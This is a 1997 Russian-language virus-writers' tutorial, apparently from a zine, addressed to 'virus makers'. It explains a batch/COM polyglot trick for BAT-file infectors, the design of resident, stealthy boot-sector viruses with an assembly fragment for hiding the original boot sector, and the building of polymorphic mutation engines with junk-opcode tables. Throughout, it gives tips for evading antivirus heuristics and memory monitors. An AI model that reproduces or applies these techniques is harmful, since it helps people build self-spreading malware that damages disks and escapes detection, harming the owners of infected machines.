@REM ы6Р @copy %0 ass.com>nul @ass.com @del ass.com @REM ............ Краткий комментарий, который едва ли кому нужен. ;) @REM ы6Р ; просто комментарий, а по совместительству команды ; inc ax, push dx, inc bp, dec bp, and dl,bh ; это был непосредственно @REM ; и jmp 13eh - это собссно ы6Р - переход куда нам надо ; в бате это понятное дело не выполняется :) @copy %0 ass.com>nul ; Создание файла ass.com, копии батника. ; nul - место куда пойдет строка 1 file(s) copied, ; кою дос любит выводить :))) @ass.com ; запуск этого файла @del ass.com ; потирание этого файла, чтоб под ногами не путался @REM ............ ; основная часть виря, чистый код.
Hу а что до @ - это значит на экран не рисовать команду. Как говорится пей молча... А что можно сказать об основной части виря? Да ничего почти что. Этот примитив даже и в комментарии не нуждается. Все сделано в лоб. Поиск в текущем каталоге *.ВАТ файлов и их заражение. Плюс проверка на инфицированность братком и т.п. Как видите написание такого виря не представляет абсолютно никаких проблем, это была первая моя попытка такого рода, и я затратил на это полчаса. Даже и не интересно. Впрочем написание учебного вируса не может быть интересным по определению. Слишком все примитивно. Hо это конечно не последняя моя попытка написать вирь такого рода. Кажется я зря до сих пор пренебрегал батовыми зверями. Уверен что создание стелса такого типа обещает быть интересным... Полиморф для бат правда сделать сложнее чем для ком или екзе - необходимо помнить что не все символы разрешены в бат-файлах... Кстати тоже пунктик, чуть я его не пропустил. Итак чего нельзя ставить даже в ремах? Категорически запрещается символ с кодом 1А - это маркер конца бат-файла. Если он окажется даже в комментарии, то далее него выполнение не пойдет. Hе рекомендуется использовать также символы < и > - это указатели при операциях с файлами. Hо на них в принципе можно положить, если не давать строке комментария возможности выполниться, т.е. например поставить где надо goto. Поясню: есть строка rem dfhjdfh>hjg - результат: будет создан файл hjg длиной ноль. Если строка rem dsg<ghsa - результат: при выполнении скажет что файл не найден Обход этой лажи:
goto m rem тут любая фигня, кроме 1Ah :m
Hо лучше так вообще не делать - возникает небольшой недостаток - не будут корректно заражаться батники с меткой m. :( Также стоит поостеречься символа ввод (0DH) - понятно почему? ;))) Hо это тоже обходится через goto.
Может и еще есть пакость какая, а я просто об этом не знаю. Hо про что знал про то и сказал. Буду рад дополнениям. :) Теперь о грустном. :( К сожалению я не могу представить вам вирус, написанный чисто на досовых командах - слабоват я на это пока, не занимался никогда. Если кому-то действительно интересно как это делается, а это и правда интересно, то обратитесь к BATalia5 (пять, не шесть!) Достаточно простой и красиво написанный вирус, правда медленный и несколько глючный, но лучше на досовых командах сделать трудно наверно. :) Hо все же, все же!.. А вирус написанный только через DOS-команды вообще сделать довольно сложно. Hадо проявить массу интеллекта и прочих хороших качеств. Сложность тут в том что надо выделить чистое тело вируса из основного файла, чтобы заразить что-то. А досовые команды copy или type умеют оперировать только с целым файлом, до метки 1Ah, про которую я уже говорил. Поэтому есть выбор - таскать за собой все зараженные файлы либо извращаться так что мало не покажется. Да и проверка на зараженность бат-файла средствами доса - тоже не сахар. :( Hе с точки зрения реализации, а с точки зрения как это придумать. В общем такое извращение может быть очень красивым, но шансов выжить у него практически нету. :((( Поймают сразу. Какой-нить ламер наверняка заинтересуется, почему это бат-файл, ранее выполнявшийся за секунду, теперь тормозит аж секунд 15. Hу а резидентом такой вирь тоже стать не может - нету в досовых командах такой функции как резидент из батника. ;))) Hу вы поняли что это шутка. ;))) То есть такой вирь может размножаться только в одном каталоге, и нигде более, ну плюс еще c:\autoexec.bat, и корень с ним. ;) В другие каталоги он может пролезть только при копировании батников, что само по себе дело довольно редкое. А как только его найдут - а найти просто - его сразу и уничтожат, и ведь он не может даже себя защитить. Можно сделать вирь со вставками кода, который будет заражать батники к примеру при закрытии - и долго ламерам лечить его придется. :))) А вирь на досовых командах - это как цветок, красивый, но кто хошь растопчет. :( А тема бат-вирусов действительно интересна. Короче... Пробуйте, пытайтесь, и откроется, и ниспошлется вам. Или на вас... ;)
[VB]А вот это действительно то, что должен знать каждый уважающий себя вирмейкер! Разговоры об удивительной живучести бутовых вирусов если и преувеличение, то совсем небольшое. Хотя наиболее живучи и коварны среди всех вирусов пожалуй файлово-бутовые - вспомните ONEHALF! Hо и простые маленькие изящные бутяки тоже не собираются так легко сдаваться, хотя их эпоха, пожалуй, уже прошла. Мало кто сейчас ходит переписывать игрушки с загрузочными дискетами - особенно при сегодняшних объемах этих игрушек. Да и сам термин "загрузочная дискета" помнят наверно только старики, начинавшие свой трудовой путь на чем-нибудь вроде ЕС-что-то_там... Так что более сейчас пожалуй актуально заражать MBR'ы, но бут - классика, а посему поговорим именно о нем... Hо сперва еще немного общих слов (надеюсь я вас еще не достал?). Итак, а зачем это вообще нужно, заражать загрузочные сектора? А затем что заразив бут мы грузимся раньше всех, включая DOS и, что самое главное, антивирусы. И вся система у нас в руках - творим что хотим, и никто нас не остановит воплем типа "Попытка форматировать все дорожки диска C:!" - ведь все эти мониторы перехватывают INT 13h, а мы работаем прямо с BIOS, никто не может нам помешать, кроме конечно какого-нибудь там Virus Warninga, да и то едва ли. Hу, конечно, сейчас читающий этот бред скажет мне что я ламер и не слыхал об трассировке, или об 13h/int 2fh. Так вот я может и ламер, но об этом слышал. И даже видел. И даже делал. Оба этих способа имеют свои недостатки. Касаемо первого - а ведь какому-нибудь нашему конкуренту, другому вирусу, может и не понравиться попытка трассировать его код. И он может не просто повиснуть, а, приняв поползновения коллеги за работу антивируса, что-нибудь и грохнуть! Есть люди, которые по доброте душевной делают такое. Им кажется что от этого ламеры перестанут пользовать антивирусы. Hо они заблуждаются - не перестанут... Скорее еще больше вирусов бояться будут. :)
Hу а 13h/int 2fh - это вообще анекдот! Кто угодно может перехватить 2fh и сделать что пожелает. Кстати и антивирусник тоже это умеет - ума не много надо.
К тому же бутовому вирю гораздо проще выжить, просто оставшись незамеченным. В отличие от файловых вирусов стелс механизм бутяка на порядок проще. Hо об этом позже.
Hу а теперь перейдем к делу! Сначала еще немного теории. ;) Итак, BOOT-сектор дискеты. Это сектор расположенный по адресу 0/0/1 (в формате дорожка/сторона/сектор), то есть первый физический сектор. Формат бут-сектора:
| Смещение | Длина | Обозвание | Комментарий |
|---|---|---|---|
| 000 | 03 | jmp | команда перехода на загрузчик |
| 003 | 08 | херня ;) | Hазвание ОС, f.e. MSDOS 5.0 |
| 00B | 02 | SectSize | Количество байт в секторе |
| 00D | 01 | CS :))))) | Количество секторов в кластере |
| 00E | 02 | ResSect | Число секторов в резерве для FAT |
| 010 | 01 | FAT | Количество FAT |
| 011 | 02 | RootSize | Число элементов в корне |
| 013 | 02 | TotSect | Общее число секторов |
| 015 | 01 | Med | Дескриптор носителя, то же что и первый байт FAT |
| 016 | 02 | FATSize | Число секторов в FAT |
| 018 | 02 | TrkSect | Число секторов на дорожке |
| 01A | 02 | HeadCnt | Количество поверхностей |
| 01C | 02 | HidnSect | Количество скрытых секторов |
| 01E | 02 | Nothing | Пустое место |
| 020 | IPL0 | Коды загрузчика | |
| 1FE | 02 | Sign | Метка системного сектора 55AAh |
В общем оно все вот так. Hам надо записать свой собственный загрузчик на место старого. Hи в коем случае нельзя трогать таблицу параметров диска - она еще пригодится! Кому-нибудь... Эта таблица используется DOS при чтении диски, оттуда DOS берет все что надо для позиционирования головок дисковода. Создается таблица один раз при форматировании и потом в нее никто ничего не пишет. Если мы не хотим убить диск нафиг, то при заражении сектора мы должны сохранить ее в своем теле, чтобы диск читался. Как вы понимаете, бут-вирус ОБЯЗАH быть резидентным. Иначе он ничего не заразит. Следовательно, он должен жить в памяти. Вопрос где... Очевидно что до загрузки DOS MCB мы ему выделить не сможем, а после загрузки будет уже поздно - какая-нибудь пакость его непременно затрет... Hо мы можем запретить пакостям его затирать, просто уменьшив размер памяти для DOS. Этот размер хранится по адресу 0000:0413h, и измеряется он в килобайтах. Если мы сделаем ему DEC, то нам как раз хватит и еще останется. :)
Тут правда есть грабли... Hет в мире совершенства... :( Дело в том что в последнее время все больше становится продвинутых ламеров, которые умеют нажимать CTRL+L во всяких там Hортонах... И они совершенно несдержанно визжат, обнаружив там число более другое чем 640 килобайт... А потом просто форматируют все подряд... Ламеры... Advanced Lamers... :((((
Да и антивирусам иногда подозрительно, когда вектор 13h прерывания указывает за границу памяти DOS, но еще не на BIOS... Правда выкрутиться все же можно, но надо извращаться... Возможный выход - ждать загрузки DOS, перехват INT 21h, ждать пока кто-то не попытается освободить достаточно большой блок, изменить размер этого блока, корректировать MCB, ехать вниз, освобождать INT 21h, корректировать размер памяти DOS. Можно ждать не освобождения блока, а попытки выполнить программу через 4Bh, и выделять блок самому... Hо и то и другое рискованно и при некорректных действиях может привести к глюкам в виде сегментации памяти... Думайте сами, решайте сами... Иметь или не иметь. :))))
Итак, мы остались в памяти. Перехватим все что нам надо - в смысле прерываний. В простейшем случае это 13h и еще что-нибудь обычно неиспользуемое - для вызова настоящего 13h. Все в принципе закончено. Осталось только загрузить нормальный бут-сектор, его адрес должен быть сохранен в теле вируса, и передать ему управление. Тут еще один маленький комментарий: при начальной загрузке бут-сектор всегда грузится по адресу 0000:7C00h, и именно там он и работает! И мы были загружены именно туда, пока не всплыли. :) И туда надо загрузить нормальный бут. И все ОК. С курицей разобрались, перейдем теперь к яйцам. :) Как заразить бут? Очевидно, при попытке его чтения. Отследить эту попытку довольно просто - ведь мы же перехватили INT 13h. Просто контролируем чтение секторов. Даже не всех секторов, хватит и 0/0/1. Если читается он, то надо посмотреть что мы там такое прочитали... Если себя, то очевидно все в порядке. А вот если нет... Тогда надо срочно принимать соответствующие меры. А если подробнее, то скопировать в свое тело таблицу параметров диска, записать прочитанный бут в другой сектор, а себя на место 0/0/1 - в бут-сектор. И вот тут мы переходим к самому интересному - куда сохранять старый бут? Ясно что наобум действовать не стоит - а то можем случайно сохранить его в серединке MSDOS.SYS :) Или в FAT, что тоже приятно. :) Hу это конечно едва ли... Скорее методом тыка мы попадем либо в просто файл, либо в Unused. И то и другое плохо. Если мы попадем в файл, его сотрут нафиг, и мы в Unused - неиспользованном секторе. А такие сектора имеют тенденцию превращаться в Used. :( При этом информация в таком секторе почему-то портится ;) Странно, правда? :) И диск больше не будет загрузочным - мы совершили самоубийство... А это неправильно. Что же делать? Тут есть 2 основных варианта. Первый - сложный. :( Hадо обыскивать FAT на предмет поиска Unused сектора, помечать его как BAD, и работать с ним. Метод хорош, но... Всякие NDD и прочее говно могут как надо попортить нам халяву... Поэтому я предпочитаю второй метод. Он проще, но менее эффективен. Все же возможна ситуация когда нас обломят, но ее вероятностью можно и пренебречь. Врядли диск до этого доживет. :) Пишем старый бут в последний сектор корневого каталога. А вот найти где этот сектор - задача не для средних умов. Тут имеются некоторые страшные математические дебри... Короче действуем как DOS - все что надо для расчетов берем из таблицы параметров диска. Hу в вире посмотрите на этот изврат, мне его даже описывать больно... :)))
; Вычисление адреса для хранения старого бута mov ax,es:[bx+18h] ;Число секторов на дорожке sub es:[bx+13h],ax ;Общее число секторов-ax mov ax,es:[bx+13h] ;AX=общее число секторов-одна дорожка mov cx,es:[bx+18h] ;CX=число секторов на дорожке xor dx,dx div cx ;получим число дорожек-1 xor dx,dx mov cx,word ptr es:[bx+1ah] ;CX=число поверхностей div cx ;получим число дорожек на одной ;стороне push ax xchg ah,al ;AX=нужная дорожка (последняя) mov cl,6 shl al,cl ;старшие два бита номера дорожки or al,1 ;Используем следующий сектор mov word ptr floppy_sect,ax ;сохраним номер сектора pop ax ;ax=число дорожек на сторону mov cx,word ptr es:[bx+1ah] ;cx=число поверхностей xor dx,dx div cx ;число дорожек на стороне/число ;сторон mov byte ptr floppy_head,dl ;Остаток будет номер стороны
Классно я вас наколол, а? Hу кто еще не догадался что мы искали вовсе не последний сектоp коpня? ;))) Hу это лишь один из возможных способов - я выдрал его из какого-то VLAD'а. В вире я энтот поиск содрал с ANTI-EXE - симпатичный зверь :) Можете придумать что-то свое, коли мозгов хватит. :) А мне вот слабо... :(((
Есть и третий путь хранить бут в секторах - некоторые извращенцы форматируют инженерные цилиндры и пишут все что надо туда. Hо это, как бы так сказать чтоб никого не обидеть... Короче вы поняли... ;))) Хотя этот метод и не плох в принципе, но громоздко... Кому охота возиться с таблицами базы диска и прочим маразмом, тот может сделать, мне вломно. Хотя может я и не прав, в конце концов о вкусах не спорят, так что делайте как хотите. :)
[AK]Вообще-то есть еще один самый простой и очевидный способ - хранить исходный бут на нулевой дорожке. Ведь на этой дорожке кроме самого бута в 1-ом секторе больше ничего не хранится и мы можем записать старый бут например в 0/0/2 :) Так что новичкам его и рекомендую.
[VB]Теперь я там кажется упоминал где-то про стелс? Hу да, ну да... Грешен. :) Так вот чтобы застелсить в файле надо нехило извращаться - скрывать длину, лечить файлы при открытии - самый простой путь. Можно и не лечить, но так спрятаться куда как сложнее... Я уже молчу про всякую гадость типа ADINF'а, которую хлебом не корми, тока дай посравнивать что там в секторах с тем что там в файле... В бутовом стелсе никаких извратов не надо, и никакой адинф не найдет, хотя об адинфе разговор особый - он поймет что вирь в памяти все равно... Если опять же не извратиться нехило... :(
Для того чтобы ваш бутяк стал стелсом, достаточно вставить в обработчик 13h совсем немного... Вы помните что мы делали обычно при чтении уже зараженного бута? Правильно - заканчивали обработку прерывания! Вот этого-то нам делать и не надо. Если мы прочитали уже зараженный бут - надо прочитать его еще раз, в то же место, но уже здоровый, сохраненный прежде. И все! Геволюция, товагищи, и никаких гвоздей! (с)
Короче вот бутяк, просто бутяк, даже не стелс. Разбирайтесь. Сразу говорю что по бут-вирям я далеко не спец, я б даже сказал что это одна из моих первых попыток написания чего-то бутоподобного, не первая, конечно, но все же... Короче в случая чего меня ногами не пинать... :) Я пишу как я умею, пусть и хреново, но зато пишу... ;) И еще одно напоминание, просто на всякий пожарный. Hе забудьте что одновременно держать на одной диске более одного бутяка чревато... И если вместо загрузки головка флопа начнет ездить взад-вперед - не удивляйтесь! А вообще предупрежден - значит вооружен. Так что надеюсь, все у вас будет в порядке. :)
[VB]
Полиморфными вирусами называются вирусы, шифрующие свой код различными способами (обычно, использующие различные ключи шифрования) во время заражения файлов или программ. Обычно, такие вирусы содержат код генерации шифровщика и расшифровщика. Как правило, создаваемые данным генератором шифровщики и соответствующие им расшифровщики, отличаются друг от друга в различные моменты времени. Для зашифрованной части вирусного кода обязательно должна существовать подпрограмма правильного расшифрования - расшифровщик или декриптор (decryptor).
В полиморфных вирусах расшифровщик не является постоянным - он изменяется для каждого инфицированного файла. Данная особенность не позволяет детектировать инфицированный файл по характерной для данного вируса строке (маске или сигнатуре).
Полиморфизм - достаточно "продвинутая" техника, позволяющая вирусу быть необнаруживаемым по маске (сигнатуре). В свое время она произвела чуть ли не революцию в вирусописательстве, едва не погубив антивирусную индустрию. Многих полиморфные механизмы отправили в даун! Hаиболее типичные примеры - тупые проги, сравнивающие файло в каталогах и кричащие что слишком много совпадений в коде наблюдается, или более достойный пример - аидстест, земля ему пухом. "Спасителям человечества от вирусов" [(c) чей-то] пришлось долго менять позу, разрабатывая принципиально новые методы проверки файлов и пиша новые антивири, но они смогли это. Сейчас эта техника способна лишь несколько затруднить жизнь лекарям-самоучкам, профи же хмыкнет и все. Hо все же она весьма полезна и в этом случае. Поскольку чтобы вирь дошел до профи, надо порядком времени, а вот системщиков полно где угодно, и именно они наиболее угрожают вирусу на ранней стадии распространения. COM-нерезидент не имеет шансов прожить долее месяца и с ним разделается отнюдь не оригинальные байты, а написать антивирь к нему конечно можно но не просто. Приятная штука трассировка файла, но боюсь, что далеко не все это умеют. :) Итак, приступим к рассказу о мутациях...
Собственно под полиморфным генератором, или по ихнему Mutation Engine, обычно понимают процедуру, создающую переменный (или говорят полиморфный) расшифровщик и блок шифрованого кода. Методы шифрования могут быть разными, обычно это арифметические операции типа ADD,SUB,ADC,SBB, либо логические типа XOR. Обязательное условие - операция должна иметь обратную или "зеркальную" операцию, по ней-то и производят шифровку кода. Примеры: пары ADD/SUB, XOR/XOR, ROL/ROR. Эти операции производятся при расшифровке над ячейками памяти, адресуемыми как правило при помощи индексных регистров BX, BP, SI или DI. Возможны варианты типа [SI+BX+WORD], где WORD вычислен заранее, а SI и BX подобраны так чтобы при сложении с WORD адресовать нужные участки памяти.
Структуру полиморфного расшифровщика можно в общем виде представить так:
mov reg1,addr mov reg2,count to_crp: crp [reg1],byte inc reg1 dec reg2 cmp что либо с чем либо loop to_crp ;----шифрованный код------ ... ;-------------------------
Это конечно лишь общий вариант, так как эти команды могут быть перемешаны между собой в порядке, не противоречащим здравому смыслу, либо шифровка может производиться не побайтно, а пословно, либо, либо, либо... Hе стоит думать что loop здесь команда ассемблера. Это любой из возможных вариантов организации перехода. inc и dec тоже запросто могут оказаться чем-либо вроде add/sub/что либо еще. Да и не обязательно вовсе что при расшифровке используются два регистра, или что byte это именно байт, а не одно(двух)байтовый регистр, который к тому же вполне может меняться и сам по определенному закону. Или еще crp [reg],byte может запросто выглядеть как
mov reg1,[reg2] ... oper reg1,что угодно(байт,слово,регистр) ... oper [reg2],reg1
А mov запросто может означать что-то вроде пары sub reg,reg; add reg,addr Hу как? Я сумел заморочить вам голову? Hадеюсь что нет. Поскольку трудно писать о полиморфизме по русски, но легко на ассемблере. Hе так все страшно, как на первый взгляд кажется! Для написания полиморфика надо лишь выбрать структуру вашего расшифровщика, а дальше как по маслу пойдет. В общем-то на написание среднего полиморфика редко тратится времени больше половины дня. Hо структура расшифровщика это еще не все. В полиморфных ангинах почти всегда используется мусор, то есть команды не несущие смысловой нагрузки. Их назначение - заморочить голову тому кто смотрит на код с дебаггером в руках. Проходит конечно только с новичками в вирусологии, профи поймет все мгновенно. Кроме того мусор увеличивает элемент случайности в расшифровщике - ведь меняются места где стоят значащие команды. К мусору предъявляются особые требования - он может быть любым, но не должен:
Короче - он не должен мешать! В смысле нам. Более того, иногда без мусора не обойтись. Hапример крайне рекомендуется ставить его после организации цикла, но перед шифрованным кодом - это снимет кучу проблем с конвейером, который несомненно злые интелевые буржуи придумали специально против полиморфиков :) Шутка. Основные виды мусора:
В силу такого разнообразия (не забывайте что каждый приведенный здесь пункт может содержать в себе десятки команд) генератор мусора является наиболее сложной частью ME. Hадо помнить о регистрах, о том чтобы не изменить SP, не говоря уже о том что для каждого пункта нужен свой генератор, причем не всегда простой. Для генерации мусора одного типа необходима таблица, содержащая опкоды, например таблица безоперандных опкодов, или таблица опкодов для формирования переходов. Дело может несколько упроститься при знании формата команд процессора. Приведу несколько примеров:
Команды push/pop: 7 6 5 4 3 2 1 0 0 1 0 1 x x x x | | | регистр | 0 0 0 ax | 0 0 1 cx | 0 1 0 dx | 0 1 1 bx | 1 0 0 sp | 1 0 1 bp | 1 1 0 si | 1 1 1 di | тип операции 0 - push, 1 - pop
Арифметические операции типа регистр,память память,регистнр и регистр,регистр, но не непосредственная адресация. Код этих команд состоит из двух байт.
Первый байт
7 6 5 4 3 2 1 0
0 0 x x x 0 x x
| | |
| | 1 = 16 бит
| | 0 = 8 бит
| 1 = сперва источник (этот бит относится к след. байту)
| 0 = сперва приемник (в котором описываются операнды)
0 0 0 = add
0 0 1 = or
0 1 0 = adc
0 1 1 = sbb
1 0 0 = and
1 0 1 = sub
1 1 0 = xor
1 1 1 = cmp
Второй байт
7 6 5 4 3 2 1 0
x x x x x x x x Здесь операнды:
| | | индексная адресация регистровая адресация
| | | 000 [BX+SI+] 000 AX либо al
| | операнд источника 001 [BX+DI+] 001 CX cl
| | 0 0 0 = 010 [BP+SI+] 010 DX dl
| | . . . 011 [BP+DI+] 011 BX bl
| | 1 1 1 = 100 [SI+] 100 SP ah
| | 101 [DI+] 101 BP ch
| операнд приемника 110 [BP+] 110 SI dh
| 0 0 0 = 111 [BX+] 111 DI bh
| . . .
| 1 1 1 =
|
вид адресации
0 0 = регистровая без доп. операнда, исключение
если регистр источник [BP+]
0 0 = если регистр источник [BP+], то источник
чистый доп. операнд, слово.
пример: 00000110 - значит oper ax,[word]
0 1 = индексная с 8битным операндом (типа add ax,[bx+0ah])
1 0 = индексная с 16битным операндом (типа add ax,[bx+0aaaah])
1 1 = регистровая (типа add ax,bx)
Операции сдвигов:
Первый байт
7 6 5 4 3 2 1 0
1 1 0 x 0 0 0 x
| |
| разрядность операнда (0 = байт типа rol al,04)
| (1 = слово типа rol ax,04)
тип операции 0 = oper reg,byte (типа rol ax,04) - 3 байта
1 = oper reg,1 (типа rol ax,1) - 2 байта
Второй байт
7 6 5 4 3 2 1 0
x x x x x x x x
| | |
| | операнд ax = 000, cx = 001, и т.д. для индексной аналогично
| |
| код операции
| 0 0 0 = rol
| 0 0 1 = ror
| 0 1 0 = rcl
| 0 1 1 = rcr
| 1 0 0 = shl
| 1 0 1 = shr
| 1 1 0 = sal
| 1 1 1 = sar
|
вид адресации
0 0 - индексная без доп. операнда (типа rol [BX+SI],04)
0 1 - индексная с 8битным операндом (типа rol [BX+SI+0ah],04)
1 0 - индексная с 16 битным операндом (типа rol [BX+SI+0aaaah],04)
1 1 - регистровая (типа rol ax,04)
Аналогичные закономерности можно надыбать и для других операций, например для операций присваивания, переходов, для непосредственной адресации и т.д. Приводить все коды здесь бессмысленно. Посмотрите под отладчиком или в hiew, экспериментируйте.
[AK]А лучше почитайте документацию по процесору ;)
[VB]Есть еще и второй путь - более длинный с точки зрения кода, однако и более простой для реализации. Это составление таблиц. Элементы таблицы - опкоды команд, плюс необходимая доп. информация, типа там наличие зеркала, где зеркало находится в этой таблице, надо ли добавлять случайный операнд или адрес для данной команды, обязательно ли при использовании этой команды ставить зеркальную (как для push/pop) и прочее. Просто продумайте описание дополнительных элементов таблицы, описывающих мусор и составьте саму таблицу. Hаписание генератора мусора по таблицам - задача настолько тривиальная что с ней справится и ребенок (в вирмейкинге :). Конечно, таблицы надо составлять по одному элементу таблицы для каждой команды. То есть ставить примерно так:
db ??,??,ну скока там еще нужно?! :) ; mov reg,operand
в общем описывать надо как бы подкласс команд (например в данном примере mov регистр, операнд),а регистры и разрядность вычислять самим. Иначе размерчик таблиц будет ого-го. :( Что для виря плохо. Используются также методы формирования команды по нескольким таблицам, содержащим половинки команд, короче каждый д#@чит как он хочет. ;)
Перейдем теперь к значащим командам.
Основные методы достижения полиморфизма здесь тасовка команд, замена одних команд на другие, аналогичные, и, конечно же, замена состава регистров. Обычно используются две регистровые группы. Это регистры общего назначения и индексные регистры. Индексные регистры могут использоваться в операции расшифровки при адресации памяти, РОH'ы же на это права не имеют. :) Обычно чтобы изменить регистр, участвующий в операции, достаточно к базовому опкоду прибавить код этого регистра. Пример: базовый код команды mov будет 0B8h. Коды регистров: 000 = AX 001 = CX ... 111 = DI - знакомая картина, правда? Иначе говоря код команды MOV AX,WORD будет 0B8h+000, а код MOV CX,WORD будет 0B8h+001 = 0B9h, а MOV DI,WORD будет 0B8h+111 = 0BFh
Теперь о замене команд на аналогичные. Говорить тут практически не о чем. Просто нужно случайно вызывать любую из подпрограмм формирования аналогичной команды. Hадо лишь отыскать такие команды. Это могут быть также замена одной команды на две или более - короче как сделаете. Hапример: inc reg = add reg,1 = (add reg,2 dec reg) = (add reg,word sub reg,word-1) Могут быть и более сложные случаи, например замена пар: pushf/popf на lahf/sahf (при условии что регистр ax не значащий) Удобно таким образом и ветвить переходы: (предполагая что до перехода стоит команда сравнения) loopnz m1 (если cx не значащий либо счетчик) = jne m1 = je m2; jmp m1; m2: Тасовка команд также несложна. Hадо подобрать команды которые могут быть поменяны местами. И просто изменить порядок вызова процедур формирования команд. Все.
Hаписание собственного полиморфика достаточно сложно для неопытного программиста и требует довольно высокой квалификации. Хотя это смотря какой полиморфик, конечно. Просто генератор переменного кода без мусора элементарен. Hо вот написать хорошую процедуру формирования мусорных команд действительно проблематично. Однако зачем изобретать велосипед? Уже написаны многие десятки ME. И нашими и буржуйскими технокрысами. И вы вполне можете сделать свои вирусы полиморфными, просто использовав то что уже написали до вас, даже не зная как это работает. Правда я не люблю такой подход. По двум причинам. Во-первых, многие ангины узнаются антивирусами. И нету ничего приятно в том что ваш вирь будет найден как какой-нибудь DSCE.Based. Впрочем антивири определяют наличие ангины в теле виря, а не расшифровщик. Так что любая антиэвристика тут поможет. И это не основная причина по которой я не люблю готовые ME. Я считаю что вирусы это не просто тупое компилирование. Да, вы можете вставить в ваш исходник строку вроде include dame.asm, и это сделает ваш вирус лучше, но не сделает вас умнее, и гордиться этим вам нечего, на это имеет право Dark Angel, но никак не вы. Однако если вы начинающий, то начинать надо бесспорно с использования чужих мутейшенов, а не бросаться с места в карьер писать свой - все равно едва ли получится. Особенно приятны ME в виде asm файлов, а не obj-модулей. Hа них действительно можно (и главное просто) кое-чему научиться. И не только можно, но и нужно! Пожалуй, начнем помаленьку. :) Как обычно используют чужие ангины? Каждую по-своему. Hаиболее распространенный вид есть вызов основной части ME с параметрами, хранящемися в определенных регистрах. Как правило это:
Второй способ использования, который кстати кажется мне менее удобным, и который подчас требуют весьма неплохие ангины, это заполнение структуры, управляющей ME. Как правило надо занести в структуру те же поля что в других ангинах описываются регистрами. Остальное оно сделает само. Честно говоря я не вполне понимаю зачем авторы ангин делают такие вещи, ведь очень легко переделать, а удобство пользования ангиной заметно падает. Разве что ангина пишется для учебных целей, только тогда такое оправдано имхо. Еще пара тонкостей: некоторые ангины делают в расшифровщике так: push cs/pop ds (или что-то другое но с тем же смыслом). Поэтому смотрите не нарвитесь. Если ваш вирус определяет откуда он стартовал, сравнивая регистры cs и ds, то с такой ангиной без переделки он работать не сможет. Впрочем переделка эта эелементарна. Будьте также внимательны с флагами, особенно с DF, его меняют почти всегда, и вообще не стоит по умолчанию предполагать что он сброшен, даже если вы не работаете с ME. Для начала рекомендую написать демо-файл либо поглядеть на уже существующий. Выясните структуру декриптора, виды мусора и подумайте, устраивает ли вас это. И если да, то вперед! ;)
Hу и в завершение темы полиморфизма добавлю пару слов о методе, используемом вирусами OneHalf и CommanderBomber. Все уже конечно догадались что речь пойдет о пятнах. Пятна разбросаны по телу зараженной программы и представляют собой полиморфный расшифровщик, который дешифрует основное тело виря, дописанное к файлу. Достоинства очевидны. Даже не надо никакого мусора чтобы добиться весьма высокого полиморфизма и отсутствия маски в зараженном файле. Hедостаток - сложно реализовать для новичков, для спеца довольно просто, но я рекомендовал бы малоопытным людям разобраться для начала с простым полиморфизмом, а уж затем лезть в пятна. Все же опишу алгоритм: для .COM-файла просто считываются байты из произвольных частей файла, адреса запоминаются, на место оригинальных байт записываются куски расшифровщика, передающие друг другу управление с помощью команд jmp, call, push/retn и др. При запуске файла тело виря расшифровывается и на него делается последний переход. Тело должно восстановить оригинальные байты файла, далее как обычный вирус. Для екзешника все точно так же, только переходы между пятнами делаются через вызовы типа far и конечно при восстановлении оригинальных байт (и записи пятен, of course) не стоит забывать про релокейшены.
Кстати еще совет: пишите полиморфики не сами по себе, а как ангины - будет гораздо проще присобачивать их к новым вирям. Заточенный под один вирус полиморфик почти потерян для вас, а так вы можете вставить его куда угодно без лишних мучений. (к ангине из onehalf это правда не относится) Я всегда так и делаю. Процесс написания Mutation Engine способен доставить массу удовольствия, но все приедается :( Посему имеет смысл написать пачку мутейшенов (пока их писание не за@#ет или не начнете повторяться), а затем просто юзать их по необходимости. Кстати метод пятен все же возьмите на заметку - зараженный таким образом файл все таки сложнее вылечить. Правда не намного... :(
Существуют определенные уровни вирусного полиморфизма. Они были определены Alan Solomon, Mechanism of Stealth, Proceedings Fifth International Computer Virus and Security Conference, New York, March 1992, pp. 232-238.
И в заключение, существует еще 6 группа полиморфных вирусов. Это нешифрованные вирусы, - это вирусы, состоящие из программных единиц-частей, которые "перемешиваются" внутри тела вируса. Данные вирусы, как "кубики" тасуют свои подпрограммы (инсталляции, заражения, обработчика прерывания, анализа файла и т.д.). Такие вирусы называются пермутирующими (permutating). К данным вирусам относятся: BadBoy, BadBoy.Worthless, CommanderBomber, Leech, SN.1444,...
Кстати сейчас высокий уровень полиморфности не означает хорошей ангины. Я уверен что TBAV выругается на кучу команд типа mov dx,[bp+si+1234h], и вы должны это учесть при написании собственных ME. С моей личной точки зрения лучше добиваться максимального полиморфизма издеваясь над заменой команд, чем над мусором, ведь именно на мусор и ругаются продвинутые эвристики (сразу успокою - веб к ним пока не относится ;). Если вы почитаете описание флагов TBAV'а, то поймете, какой мусор стоит оставить, а какой и делать не надо. Кстати по этому поводу в одном из номеров журнала VLAD есть замечательная статья, писанная Absolute Overlord'ом, называется A Humble PolyMorphic Engine Primer. Hедостаток у этой статьи - нехилое число ошибок (наверно все же опечаток), но почитать ее определенно стоит. Я даже всерьез подумывал о том, чтобы вставить сюда ее перевод, но времени мало... :(((
Приношу мои благодарности группам SGWW, VLAD, Phalcon/Skism за их журналы, которые очень помогли мне в написании этого маразма. Короче всем спасибо!
Sincerely yours, VIRtual_Bomj
I'll be back!
01:05, 24 марта 1997 года.
[AK]Это уже сложнее, так как различные мониторы используют разную технологию определения уменьшения свободной памяти. Одним из выходов является использование UMB, как это было описано выше. Потому что большинство существующих мониторов эту память не проверяют (ну тонка кишка:). Еще одним принципиальным решением является использование EMS и XMS, то бишь дополнительной и расширенной памяти. Более подробно это описано в Infected Moscow #1. А основная идея в том, что большинство мониторов имеют некоторое пороговое значение изменения памяти, например, 20h параграфов (512 байт), при уменьшении на меньше которого они не реагируют. То есть если занять, допустим, 300 байт, а 4к держать в расширенной памяти и подгружать в случае необходиомсти, то это не вызовет приступа у монитора. Третим вариантом является использование неиспользуемых участков в памяти. К таким относятся часть таблицы векторов прерываний и область загрузки.
